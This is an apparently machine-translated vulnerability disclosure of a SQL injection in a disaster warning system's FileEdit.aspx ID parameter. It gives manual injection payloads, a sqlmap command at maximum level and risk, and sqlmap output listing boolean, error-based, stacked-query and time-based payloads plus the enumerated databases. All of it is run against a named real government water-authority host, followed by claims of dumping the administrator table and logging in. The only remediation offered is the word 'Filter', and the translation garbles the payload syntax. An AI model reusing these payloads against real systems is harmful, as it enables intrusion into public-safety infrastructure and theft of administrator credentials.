High-risk SQL injection vulnerability in a general disaster warning system

High-risk SQL injection vulnerability in a general disaster warning system

 

Injection link:/Plan/FloodPlan/FileEdit. aspx? ReadOnly = & amp; ID = 499

Injection parameter: ID

Payload1:/Plan/FloodPlan/FileEdit. aspx? ReadOnly = & ID =-1 '+ and + 1 = @ version --

Payloa2:/Plan/FloodPlan/FileEdit. aspx? ReadOnly = & ID =-1 '+ or + 'A' = 'a
 

Using http://yj.yywater.gov.cn as a test case:

1) manual injection test

Http://yj.yywater.gov.cn/Plan/FloodPlan/FileEdit.aspx? ReadOnly = & ID =-1 '+ or + 'A' = 'a
 

Error injection:

Http://yj.yywater.gov.cn/Plan/FloodPlan/FileEdit.aspx? ReadOnly = & ID =-1 '+ and + 1 = @ version --
 

2) SQLMAP injection test

$ Py sqlmap. py-u 'HTTP: // yj.yywater.gov.cn/Plan/FloodPlan/FileEdit.aspx? ReadOnly = & ID =-1 '-p ID -- dbms mssql -- level 5 -- risk 3 -- dbs-v 0

---

Place: GET

Parameter: ID

Type: boolean-based blind

Title: OR boolean-based blind-WHERE or HAVING clause

Payload: ReadOnly = & ID =-7178 'OR (6641 = 6641) AND 'mxfx' = 'mxfx



Type: error-based

Title: Microsoft SQL Server/Sybase AND error-based-WHERE or HAVING clause

Payload: ReadOnly = & ID =-1 'AND 4173 = CONVERT (INT, (select char (113) + CHAR (112) + CHAR (103) + CHAR (102) + CHAR (113) + (SELECT (case when (4173 = 4173) then char (49) ELSE



Type: stacked queries

Title: Microsoft SQL Server/Sybase stacked queries

Payload: ReadOnly = & ID =-1 '; waitfor delay '0: 0: 5 '--



Type: AND/OR time-based blind

Title: Microsoft SQL Server/Sybase time-based blind

Payload: ReadOnly = & ID =-1 'waitfor delay' 0: 0: 5 '--

---

Web server operating system: Windows 2008 R2 or 7

Web application technology: ASP. NET, Microsoft IIS 7.5

Back-end DBMS: Microsoft SQL Server 2005

[01:32:55] [INFO] resumed: IStrongCMS_ZJYY

[01:32:55] [INFO] resumed: master

[01:32:55] [INFO] resumed: model

[01:32:55] [INFO] resumed: msdb

[01:32:55] [INFO] resumed: StrongMain

[01:32:55] [INFO] resumed: StrongPDA

[01:32:55] [INFO] resumed: StrongWater

[01:32:55] [INFO] resumed: tempdb

Available databases [8]:

[*] IStrongCMS_ZJYY

[*] Master

[*] Model

[*] Msdb

[*] StrongMain

[*] StrongPDA

[*] StrongWater

[*] Tempdb
 

 

3) obtain the Administrator data table

Database: StrongMain

Table: Web_SystemUser
 

4) logon Warning System
 

 

 

Solution:

Filter